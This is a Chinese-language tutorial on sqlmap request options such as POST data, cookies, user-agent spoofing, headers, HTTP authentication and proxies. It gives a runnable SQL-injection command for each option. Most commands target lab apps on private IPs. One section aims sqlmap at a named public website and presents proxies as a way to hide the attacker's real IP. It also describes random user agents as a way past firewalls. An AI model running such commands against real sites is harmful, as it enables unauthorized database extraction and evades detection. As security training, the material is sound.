sqlmap Request1

ONE

--data  把数据以POST方式提交

root@kali:~# sqlmap -u "http://192.168.80.161/mutillidae/index.php?page=login.php" --data="username=1&password=2&login-php-submit-button=Login" --dbs

--data 也支持GET方式

root@kali:~# sqlmap -u "http://192.168.80.161/mutillidae/index.php" --data="page=user-info.php&username=1&password=2&user-info-php-submit-button=View+Account+Details" -p username --users

---

TWO

--param-del  指定字符分割参数，默认分割参数是" & "

root@kali:~# sqlmap -u "http://1.1.1.1/a.php" --data="q=foo;id=1" --param-del=";" -f

---

THREE

--cookie

1.web应用需要基于cookie的身份认证

root@kali:~# sqlmap -u "http://192.168.80.161/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=3b11599361763b943a82e7c6e5343d22" -f

2.检测cookie中的注入点(level >=2)

root@kali:~# sqlmap -u "http://192.168.80.161/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=3b11599361763b943a82e7c6e5343d22" --level 2 -f

使用--cookie参数时，当返回一个Set-Cookie头的时候，sqlmap会询问用哪个cookie来继续接下来的请求，如果不想接受Set-Cookie可以使用--drop-set-cookie参数。

---

FOUR

--user-agent，--random-agent

默认情况下sqlmap的HTTP请求头中User-Agent值如下，可以使用wireshark抓包查看：

sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org)

可以使用--user-agent=AGENT参数来修改，也可以使用--random-agent参数从如下文件中随机选取user-agent。   /usr/share/sqlmap/txt/user-agents.txt

当--level>=3时，会尝试对User-Angent进行注入。

root@kali:~# sqlmap -u "http://192.168.80.33:81/0/Production/PRODUCT_DETAIL.asp?id=1513" --random-agent --level 3 --tables

看到如下报错信息时，可能是防火墙过滤了sqlmap的useragent：

[hh:mm:20][ERROR]thetargetURLrespondedwithanunknownHTTP statuscode,trytoforcetheHTTPUser-Agentheaderwithoption--user- agentor--random-agent

---

FIVE

--host=HOST        HTTP Host header value  需要level=5

--referer=REFERER  HTTP Referer header value  需要level>=3

--headers，指定额外的HTTP头，通过\n来换行、大小写敏感

sqlmap -u “http://1.1.1.1/a.php?id=1” --headers="Host:www.a.com\nUser-Agent:coler"

--method=GET/POST  指定请求方法

---

SIX

基于HTTP协议的身份验证，支持以下三种认证方式：①Basic  ②Digest  ③NTLM

sqlmap -u "http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id=1" --auth-type Basic --auth-cred "testuser:testpass"

--auth-cert参数，基于HTTP协议的证书认证

当Web服务器需要客户端证书进行身份验证时，需要提供两个文件:key_file，cert_file

key_file是含有私钥的PEM格式证书文件，cert_file是PEM格式的证书链文件。

---

SEVEN

参数：--proxy,--proxy-cred，通过设置代理隐藏自己的真实ip

sqlmap.py -u "http://www.bible-history.com/subcat.php?id=1" --proxy="http://127.0.0.1:25378" --dbs

sqlmap.py -u "http://www.bible-history.com/subcat.php?id=1" --proxy="socks5://127.0.0.1:1080" -current-user

--ignore-proxy  忽略系统级代理设置，通常用于扫描内网时